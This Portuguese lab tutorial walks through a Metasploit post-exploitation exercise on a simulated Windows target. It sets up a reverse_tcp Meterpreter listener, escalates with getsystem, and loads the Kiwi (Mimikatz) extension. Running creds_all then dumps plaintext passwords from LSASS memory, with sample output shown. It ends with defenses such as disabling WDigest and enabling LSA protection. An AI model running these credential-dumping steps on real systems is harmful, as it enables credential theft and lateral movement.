Use o Kiwi para Extrair Senhas em Texto Plano no Meterpreter

Kali LinuxBeginner
Pratique Agora

Introdução

Na fase de pós-exploração de um teste de penetração, um dos objetivos primários é coletar credenciais para movimentar-se lateralmente pela rede. O Meterpreter do Metasploit é um payload poderoso que fornece um shell interativo em um sistema comprometido.

Uma das funcionalidades mais potentes do Meterpreter é a extensão Kiwi, que é um port do famoso Mimikatz. O Kiwi permite que atacantes extraiam senhas em texto plano, hashes, PINs e tickets Kerberos diretamente da memória da máquina alvo, especificamente do processo Local Security Authority Subsystem Service (LSASS).

Neste laboratório, você aprenderá como carregar e usar a extensão Kiwi dentro de uma sessão Meterpreter para extrair credenciais de um alvo simulado no Windows.

Obter uma sessão Meterpreter com privilégios SYSTEM em um alvo Windows

Nesta etapa, simularemos o ganho de acesso a uma máquina alvo. Em um cenário do mundo real, você usaria um exploit para entregar um payload. Aqui, configuraremos um listener usando o console do Metasploit Framework. Um alvo simulado se conectará ao nosso listener, fornecendo-nos uma sessão Meterpreter.

Primeiro, inicie o console do Metasploit. O flag -q faz com que ele inicie silenciosamente, sem exibir o banner.

msfconsole -q

Em seguida, configuraremos um listener para "capturar" a conexão de entrada do alvo simulado. Usaremos o módulo multi/handler para isso.

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444

Agora, execute o listener como um job em segundo plano usando exploit -j.

exploit -j

Após alguns momentos, uma sessão será criada. Você pode listar as sessões ativas com o comando sessions.

sessions

Você deverá ver uma saída indicando uma sessão ativa, semelhante a esta:

Active sessions
===============

  Id  Name  Type                     Information              Connection
  --  ----  ----                     -----------              ----------
  1         meterpreter x86/windows  WIN-TARGET\LabUser @ WIN-TARGET  127.0.0.1:4444 -> 127.0.0.1:54321 (...)

Agora, interaja com a sessão 1.

sessions -i 1

Seu prompt mudará para meterpreter >. Para usar o Kiwi de forma eficaz, precisamos do mais alto nível de privilégios, NT AUTHORITY\SYSTEM. Podemos tentar escalar nossos privilégios usando o comando getsystem.

getsystem

Você deverá ver uma mensagem ...got system. Verifique sua nova identidade executando getuid.

getuid

A saída esperada deve ser:

Server username: NT AUTHORITY\SYSTEM

Agora você tem uma sessão Meterpreter com privilégios SYSTEM, pronta para as próximas etapas.

Carregar a extensão kiwi usando o comando load kiwi

Nesta etapa, você carregará a extensão Kiwi em sua sessão Meterpreter. O Meterpreter é modular, e suas extensões fornecem funcionalidades adicionais que não são carregadas por padrão para manter o payload inicial pequeno. A extensão Kiwi contém todos os comandos necessários para realizar a extração de credenciais no estilo Mimikatz.

A partir do seu prompt meterpreter >, use o comando load para adicionar a extensão Kiwi.

load kiwi

Se o comando for bem-sucedido, o Meterpreter confirmará que a extensão foi carregada.

Loading extension kiwi...Success.

Com a extensão Kiwi carregada, você agora tem acesso a um novo conjunto de comandos poderosos para coleta de credenciais.

Listar comandos kiwi disponíveis com help

Nesta etapa, você verificará se os comandos Kiwi estão disponíveis. Após carregar qualquer extensão no Meterpreter, você pode usar o comando help para ver uma lista atualizada de todos os comandos disponíveis. Esta é uma boa prática para confirmar que a extensão foi carregada corretamente e para ver quais novas capacidades você possui.

A partir do prompt meterpreter >, simplesmente digite help.

help

A saída será uma longa lista de todos os comandos do Meterpreter, agrupados por seção. Percorra a saída e você deverá encontrar uma nova seção chamada "Kiwi Commands". Esta seção lista todas as funções fornecidas pela extensão Kiwi.

...
Kiwi Commands
=============

    Command                Description
    -------                -----------
    creds_all              Retrieve all credentials (parsed)
    creds_kerberos         Retrieve Kerberos creds (parsed)
    creds_msv              Retrieve MSV credentials (parsed)
    creds_ssp              Retrieve SSP credentials (parsed)
    creds_tspkg            Retrieve TSPKG credentials (parsed)
    creds_wdigest          Retrieve WDigest credentials (parsed)
    dcsync                 Retrieve user account information via DCSync
    dcsync_ntlm            Retrieve user NTLM hash via DCSync
    golden_ticket_create   Create a golden kerberos ticket
    kerberos_ticket_list   List all kerberos tickets
    kerberos_ticket_purge  Purge any in-use kerberos tickets
    kerberos_ticket_use    Use a kerberos ticket
    kiwi_cmd               Execute a custom command
    lsa_dump_sam           Dump LSA SAM
    lsa_dump_secrets       Dump LSA secrets
    wifi_list              List wifi profiles/creds
    wifi_list_shared       List shared wifi profiles/creds
...

Como você pode ver, o Kiwi adiciona muitos comandos poderosos para interagir com os mecanismos de autenticação do Windows.

Extrair todas as credenciais disponíveis com o comando creds_all

Nesta etapa, você executará o comando principal da extensão Kiwi para extrair todas as credenciais encontradas na memória. O comando creds_all é um wrapper conveniente que executa vários módulos de coleta de credenciais diferentes de uma vez, visando vários pacotes de autenticação como WDigest, Kerberos e MSV.

Lembre-se, este comando requer privilégios SYSTEM para acessar a memória do processo LSASS, razão pela qual realizamos o comando getsystem na primeira etapa.

A partir do seu prompt meterpreter >, execute o comando creds_all.

creds_all

O comando levará um momento para ser executado enquanto inspeciona o processo LSASS. A saída será detalhada, mostrando as credenciais encontradas para diferentes provedores. Abaixo está uma amostra do que você pode ver.

[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    NTLM     WIN-TARGET  LabUser     (null)
0;99876     NTLM     WIN-TARGET  WIN-TARGET$ (null)

wdigest credentials
===================

AuthID      Package  Domain      User        Password
------      -------  ------      ----        --------
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
0;99876     WDigest  WIN-TARGET  WIN-TARGET$ (null)

kerberos credentials
====================

AuthID      Package   Domain      User        Password
------      -------   ------      ----        --------
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
0;99876     Kerberos  WIN-TARGET  WIN-TARGET$ (null)
...

Você extraiu com sucesso as credenciais da memória do sistema alvo. O próximo passo é analisar esta saída.

Analisar a saída em busca de senhas em texto plano

Nesta etapa final, você analisará a saída do comando creds_all para identificar senhas em texto plano. A capacidade de encontrar credenciais em texto claro é o que torna ferramentas como Kiwi e Mimikatz tão poderosas para movimento lateral.

Procure na saída que você recebeu na etapa anterior. Os dados são organizados por pacote de autenticação:

  • msv: Este pacote lida com a autenticação NTLM padrão. Geralmente fornece hashes de senha, não senhas em texto plano, a menos que o usuário tenha feito login interativamente recentemente.
  • wdigest: Em sistemas Windows mais antigos ou sistemas onde está explicitamente habilitado, o WDigest armazena uma cópia reversivelmente criptografada da senha do usuário na memória. O Kiwi pode descriptografar isso facilmente, revelando a senha em texto plano. Esta é frequentemente a seção mais valiosa.
  • kerberos: Este pacote gerencia tickets Kerberos. Semelhante ao WDigest, ele também pode armazenar em cache senhas em texto plano para usuários logados.
  • ssp e tspkg: Esses pacotes lidam com credenciais para outros serviços, como conexões de Área de Trabalho Remota.

Na saída de exemplo da etapa anterior, você pode ver claramente uma senha em texto plano para o usuário LabUser nas seções wdigest e kerberos:

wdigest credentials
===================
...
0;109871    WDigest  WIN-TARGET  LabUser     P@ssword123!
...

kerberos credentials
====================
...
0;109871    Kerberos  WIN-TARGET  LabUser     P@ssword123!
...

Ao examinar cuidadosamente a saída e procurar por valores não-(null) na coluna Password, você pode coletar credenciais valiosas. Essas informações poderiam então ser usadas para acessar outros sistemas ou serviços como esse usuário.

Resumo

Neste laboratório, você realizou com sucesso uma técnica clássica de pós-exploração. Você começou obtendo uma sessão Meterpreter com privilégios SYSTEM em um alvo Windows simulado. Em seguida, carregou a extensão Kiwi, que integra a funcionalidade do Mimikatz ao Meterpreter.

Usando o comando creds_all, você extraiu credenciais diretamente da memória do processo LSASS. Finalmente, você analisou a saída para extrair uma senha em texto plano de um usuário logado.

Este exercício destaca a importância do endurecimento de segurança em endpoints. Defesas contra este tipo de ataque incluem:

  • Desabilitar a autenticação WDigest.
  • Habilitar a Proteção LSA (RunAsPPL).
  • Implementar o princípio do menor privilégio para garantir que usuários e processos não tenham direitos administrativos desnecessários.

Agora você tem uma compreensão prática de como os atacantes podem alavancar a extração de credenciais na memória para comprometer ainda mais uma rede.